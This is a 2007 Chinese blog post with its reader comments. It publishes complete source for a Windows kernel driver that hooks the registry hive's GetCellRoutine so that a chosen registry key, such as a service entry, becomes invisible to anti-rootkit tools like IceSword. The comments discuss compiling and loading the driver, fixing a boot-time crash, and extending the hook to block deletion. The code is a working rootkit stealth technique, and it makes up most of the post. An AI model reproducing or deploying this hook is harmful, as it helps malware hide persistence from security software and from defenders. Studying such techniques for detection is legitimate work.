百度空间 | 百度首页 
               
 
查看文章
 
一段隐藏注册表项的代码
2007-07-22 22:03

发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22。

以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。

原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。

#include <ntddk.h>

#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )

#define CM_KEY_INDEX_ROOT      0x6972         // ir
#define CM_KEY_INDEX_LEAF      0x696c         // il
#define CM_KEY_FAST_LEAF       0x666c         // fl
#define CM_KEY_HASH_LEAF       0x686c         // hl

// 一些CM的数据结构,只列出用到的开头部分
#pragma pack(1)
typedef struct _CM_KEY_NODE {
       USHORT Signature;
       USHORT Flags;
       LARGE_INTEGER LastWriteTime;
       ULONG Spare;               // used to be TitleIndex
       HANDLE Parent;
       ULONG SubKeyCounts[2];     // Stable and Volatile
       HANDLE SubKeyLists[2];     // Stable and Volatile
       // ...
} CM_KEY_NODE, *PCM_KEY_NODE;

typedef struct _CM_KEY_INDEX {
       USHORT Signature;
       USHORT Count;
       HANDLE List[1];
} CM_KEY_INDEX, *PCM_KEY_INDEX;

typedef struct _CM_KEY_BODY {
       ULONG Type;                // "ky02"
       PVOID KeyControlBlock;
       PVOID NotifyBlock;
       PEPROCESS Process;         // the owner process
       LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
} CM_KEY_BODY, *PCM_KEY_BODY;

typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);

typedef struct _HHIVE {
       ULONG Signature;
       PGET_CELL_ROUTINE GetCellRoutine;
       // ...
} HHIVE, *PHHIVE;
#pragma pack()

// 需隐藏的主键名
WCHAR g_HideKeyName[] = L"
\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep";

PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;

PCM_KEY_NODE g_HideNode = NULL;
PCM_KEY_NODE g_LastNode = NULL;

// 打开指定名字的Key
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
       NTSTATUS status;
       UNICODE_STRING uKeyName;
       OBJECT_ATTRIBUTES oa;
       HANDLE hKey;

       RtlInitUnicodeString(&uKeyName, pwcsKeyName);
       InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
       status = ZwOpenKey(&hKey, KEY_READ, &oa);
       if (!NT_SUCCESS(status))
       {
           DbgPrint("ZwOpenKey Failed: %lx\n", status);
           return NULL;
       }

       return hKey;
}

// 获取指定Key句柄的KeyControlBlock
PVOID GetKeyControlBlock(HANDLE hKey)
{
       NTSTATUS status;
       PCM_KEY_BODY KeyBody;
       PVOID KCB;

       if (hKey == NULL) return NULL;

       // 由Key句柄获取对象体
       status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
       if (!NT_SUCCESS(status))
       {
           DbgPrint("ObReferenceObjectByHandle Failed: %lx\n", status);
           return NULL;
       }

       // 对象体中含有KeyControlBlock
       KCB = KeyBody->KeyControlBlock;
       DbgPrint("KeyControlBlock = %lx\n", KCB);

       ObDereferenceObject(KeyBody);

       return KCB;
}

// 获取父键的最后一个子键的节点
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
       // 获取父键的节点
       PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
       // 获取子键的索引
       PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);

       DbgPrint("ParentNode = %lx\nIndex = %lx\n", ParentNode, Index);

       // 如果为根(二级)索引,获取最后一个索引
       if (Index->Signature == CM_KEY_INDEX_ROOT)
       {
           Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
           DbgPrint("Index = %lx\n", Index);
       }

       if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
       {
           // 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点
           return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
       }
       else
       {
           // 一般叶索引,返回最后的节点
           return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
       }
}

// GetCell例程的钩子函数
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
       // 调用原函数
       PVOID pRet = g_pGetCellRoutine(Hive, Cell);
       if (pRet)
       {
           // 返回的是需要隐藏的节点
           if (pRet == g_HideNode)
           {
               DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
               // 查询、保存并返回其父键的最后一个子键的节点
               pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
               DbgPrint("g_LastNode = %lx\n", g_LastNode);
               // 隐藏的正是最后一个节点,返回空值
               if (pRet == g_HideNode) pRet = NULL;
           }
           // 返回的是先前保存的最后一个节点
           else if (pRet == g_LastNode)
           {
               DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
               // 清空保存值,并返回空值
               pRet = g_LastNode = NULL;
           }
       }
       return pRet;
}

NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
       DbgPrint("DriverUnload()\n");
       // 解除挂钩
       if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
       return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
       ULONG BuildNumber;
       ULONG KeyHiveOffset;       // KeyControlBlock->KeyHive
       ULONG KeyCellOffset;       // KeyControlBlock->KeyCell
       HANDLE hKey;
       PVOID KCB, Hive;

       DbgPrint("DriverEntry()\n");

       pDrvObj->DriverUnload = DriverUnload;

       // 查询BuildNumber
       if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
       DbgPrint("BuildNumber = %d\n", BuildNumber);

       // KeyControlBlock结构各版本略有不同
       // Cell的值一般小于0x80000000,而Hive正相反,以此来判断也可以
       switch (BuildNumber)
       {
           case 2195:     // Win2000
               KeyHiveOffset = 0xc;
               KeyCellOffset = 0x10;
               break;
           case 2600:     // WinXP
           case 3790:     // Win2003
               KeyHiveOffset = 0x10;
               KeyCellOffset = 0x14;
               break;
           default:
               return STATUS_NOT_SUPPORTED;
       }

       // 打开需隐藏的键
       hKey = OpenKeyByName(g_HideKeyName);
       // 获取该键的KeyControlBlock
       KCB = GetKeyControlBlock(hKey);
       if (KCB)
       {
           // 由KCB得到Hive
           PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
           // GetCellRoutine在KCB中,保存原地址
           g_ppGetCellRoutine = &Hive->GetCellRoutine;
           g_pGetCellRoutine = Hive->GetCellRoutine;
           DbgPrint("GetCellRoutine = %lx\n", g_pGetCellRoutine);
           // 获取需隐藏的节点并保存
           g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
           // 挂钩GetCell例程
           Hive->GetCellRoutine = MyGetCellRoutine;
       }
       ZwClose(hKey);

       return STATUS_SUCCESS;
}


类别:Program | 添加到搜藏 | 浏览() | 评论 (42)
 
最近读者:
 
网友评论:
1
2007-07-24 03:58 | 回复
想问下你应该如何#include ,我include时出现如下问题 --------------------Configuration: ssssss - Win32 Debug-------------------- Compiling... ssssss.cpp g:\program files\microsoft visual studio\vc98\include\ntddk.h(370) : error C2146: syntax error : missing ';' before identifier 'Lock' g:\program files\microsoft visual studio\vc98\include\ntddk.h(370) : error C2501: 'PULONG_PTR' : missing storage-class or type specifiers g:\program files\microsoft visual studio\vc98\include\ntddk.h(370) : error C2501: 'Lock' : missing storage-class or type specifiers g:\program files\microsoft visual studio\vc98\include\ntddk.h(824) : error C2146: syntax error : missing ';' before identifier 'KSPIN_LOCK' g:\program files\microsoft visual studio\vc98\include\ntddk.h(824) : fatal error C1004: unexpected end of file found Error executing cl.exe. ssssss.exe - 5 error(s), 0 warning(s)
 
2
2007-07-24 11:33 | 回复
用DDK编译,不要用VC。
 
3
2007-07-25 04:44 | 回复
谢谢,还有,如何运行编译好地sys文件?
 
4
2007-07-25 11:38 | 回复
随便找个Driver Loader就行,比如: http://www.osronline.com/article.cfm?article=157
 
5
2007-07-25 16:37 | 回复
// 需隐藏的主键名 WCHAR g_HideKeyName[] = L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep"; 主键名指的是什么?
 
6
2007-07-25 16:38 | 回复
跟HKEY_LOCAL_MACHINE有关系吗?
 
7
2007-07-25 23:00 | 回复
是的。\Registry\Machine 等于 HKEY_LOCAL_MACHINE。 详见DDK文档中关于ZwCreateKey的相关说明。
 
8
2007-07-25 23:02 | 回复
请大家不要一遇到问题就问,先google一下收获更大。
 
9
2007-07-26 08:34 | 回复
是的,我确实google到了,但是到下班时间了,我没有写上,但是也非常谢谢你的回答
 
10
2007-07-26 10:15 | 回复
我用了怎么没有什么作用呢?需要注意什么呢
 
11
2007-07-26 11:23 | 回复
有问题的话自己看调试信息。 看看钩子是否成功安装以及访问注册表时钩子是否被调用等等。 我给的代码只是阐述原理,不是实用工具,这一点请各位注意。
 
12
2007-07-26 16:37 | 回复
加载驱动隐藏了Beep后,再用knlsc13.exe -f会找到N多的隐藏Service。:-p
 
13
2007-07-26 16:54 | 回复
我还没打开注册表,下边的语句就重复出现,正常吗? GetCellRoutine(e1be8b60, 00725cb0) = c3e26cb4 ParentNode = c3701024 Index = c43b53d4 g_LastNode = c3f33844
 
14
2007-07-27 08:59 | 回复
用动态加载的方式比较好使 用knlsc13.exe -f没找到隐藏服务
 
15
2007-08-13 15:09 | 回复
又见KOH~~ KOH多了起来,不是一个好事情,检查越来越难了~
 
16
2007-08-18 23:33 | 回复
见:http://rootkit.5d6d.com/thread-3-1-1.html
 
17
2007-08-18 23:34 | 回复
不过我现在不用这个挂了,这个挂有问题,有时候会不走这个Routine而走Cache~~
 
18
2007-08-31 21:41 | 回复
eva,你好!请教一下,按你的方法隐藏了注册表键值后,在我的windows应用程序中能直接访问到吗?如果不能,该怎么办?和驱动通信?谢谢解答.
 
19
2007-09-01 21:50 | 回复
驱动的启动项被隐藏,并不影响驱动本身的功能。和驱动通信该怎么做还是怎么做。比如用传统的DeviceIoControl,只要你没有把设备对象也藏起来。
 
20
2007-09-11 22:58 | 回复
顶顶顶!!!^_-
 
21
2007-10-12 20:32 | 回复
牛。。。
 
22
2007-10-14 22:17 | 回复
路过,踩! 呵呵,最近好像看得代码大部分都是 Hook 的。 注册表部分研究的不多,这篇收藏了。 可否交换链接?哈 以后我也过来看着方便~~~ :)
 
23
2007-10-31 12:39 | 回复
用该方法,如果在系统加载时就隐藏,会导致在2000下蓝屏。 蓝屏是在nt!NtInitializeRegistry调用nt!CmpCopySyncTree2这个函数的时候,看了wrk,蓝屏的代码应该是这样的: // // Get the name of the current child // SourceChildCell = (PCM_KEY_NODE)HvGetCell(CmpSourceHive,SourceChild); CmpInitializeKeyNameString(SourceChildCell,&KeyName,NameBuffer); // 这个调用蓝屏,因为SourceChildCell返回了NULL 不知道这种情况应该怎么解决啊?
 
24
2007-10-31 13:06 | 回复
另外,如果CM_KEY_FAST_LEAF和CM_KEY_HASH_LEAF的组织结构是什么样的呢? 如果我不是想取最后一个节点,而是取倒数第二个或者倒数第三个节点之类的,应该怎么实现呢?
 
25
2007-10-31 13:07 | 回复
是Boot型的驱动?用IoRegisterDriverReinitialization试试。 如果不行,只好像普通服务一样加载,这时候系统已经初始化完成了。
 
26
2007-10-31 13:09 | 回复
关于内部数据结构和具体实现,请查看2000源代码。
 
27
2007-10-31 17:00 | 回复
谢谢老大啊,回复这么迅速:) 看来只好不用boot驱动了。
 
28
2007-12-04 09:06 | 回复
zzzevazzz你好: 本人对驱动编写还是个新手,不知你还有其他的联系方式么,例如qq 我有些小问题想问你,发到这又不直接.
 
29
2007-12-09 19:07 | 回复
To loien: 你不妨加入幻影旅团的邮件列表,可以得到更多人的帮助。 http://www.ph4nt0m.org http://groups.google.com/group/ph4nt0m
 
30
2008-01-09 18:40 | 回复
呵呵~~zzzevazzz 我又来了~~想请教您点问题 问一个关于驱动编写SSDT的问题 #include "ntddk.h" #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; //仅适用于checked build版本 unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; 这是代码中的一小部分其中__declspec(dllimport)在写DLL时用来导入函数.那在驱动是什么 意思,怎么查看. 有的网站只是说用来定义未公开的KeServiceDescriptorTable
 
31
2008-01-10 11:11 | 回复
__declspec(dllimport)表示符号是由外部引入的,其含义和一般编程时一样。 KeServiceDescriptorTable已经由内核导出,所以只要声明了原型,就能使用。
 
32
2008-01-10 15:35 | 回复
呵呵,谢谢你太及时了~~我刚看完Undocumented Windows 2000 Secrets简体中文版电子书,现在明白了~~~不过还是谢你
 
33
2008-01-11 20:45 | 回复
呵呵, 收获很大啊,以后常来了
 
34
2008-04-04 16:28 | 回复
Hi, 哥们, 怎么实现注册表项不被删除和修改呢
 
35
2008-04-04 16:40 | 回复
还有, Vista 下的实现有变化吗?
 
36
2008-04-11 20:47 | 回复
隐藏之后能不能再恢复掉啊 这样驱动加载后就不能卸掉了 谢谢
 
37
2008-04-12 21:49 | 回复
To free2000fly: 1,如果仿照挂钩GetCellRoutine的思路,防止删除和修改应该挂钩Hive的FileWrite。我没有具体尝试过,有兴趣的话你可以进一步研究。 2,Vista下注册表相关数据结构和XP/2003相比基本没有变化。
 
38
2008-04-12 21:51 | 回复
To wedday: 当然能恢复。还原钩子或者置空过滤规则就行。
 
39
2008-04-20 18:38 | 回复
恩..头疼,看到一堆英文就头疼,啥也不懂了. 什么时候用中文也能编译一下啊?!!!
 
40
2008-04-22 18:46 | 回复
用另一种方法搞掂了. 使用 ObReferenceObjectByHandle 函数. { NTSTATUS ntStatus = STATUS_CANNOT_LOAD_REGISTRY_FILE; PVOID pKey = NULL; POBJECT_NAME_INFORMATION pObjNameInfo = NULL; ULONG ulLength = MAXPATHLEN; BOOLEAN bMatched = FALSE; do { ntStatus = ObReferenceObjectByHandle(hRegKey, 0, NULL, KernelMode, &pKey, NULL); pObjNameInfo = (POBJECT_NAME_INFORMATION) ExAllocatePool(NonPagedPool, (ulLength+2)); RtlZeroMemory(pObjNameInfo, (ulLength+2)); ntStatus = ObQueryNameString(pKey, pObjNameInfo, ulLength, &ulLength); if(_IsMatchedString(pObjNameInfo->Name.Buffer, pObjNameInfo->Name.Length)) { bMatched = TRUE; } } while (FALSE); if(pKey) { ObDereferenceObject(pKey); } if(pObjNameInfo) ExFreePool(pObjNameInfo); return bMatched; } 谢谢你的回复指点.
 
41
2009-02-05 19:11 | 回复
哇赛,和冰刃干,高手!本人初学者,以后还请多多指教!
 
44
2009-03-19 16:24 | 回复
请问一下,如果要只隐藏一个键值应该怎样处理呢?
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu